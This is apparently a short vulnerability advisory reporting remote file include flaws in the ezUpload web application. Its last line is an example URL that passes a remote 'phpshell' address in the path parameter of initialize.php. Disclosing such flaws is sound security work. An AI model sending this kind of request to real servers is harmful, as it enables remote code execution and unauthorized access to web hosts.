source: https://www.securityfocus.com/bid/14534/info
 
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?&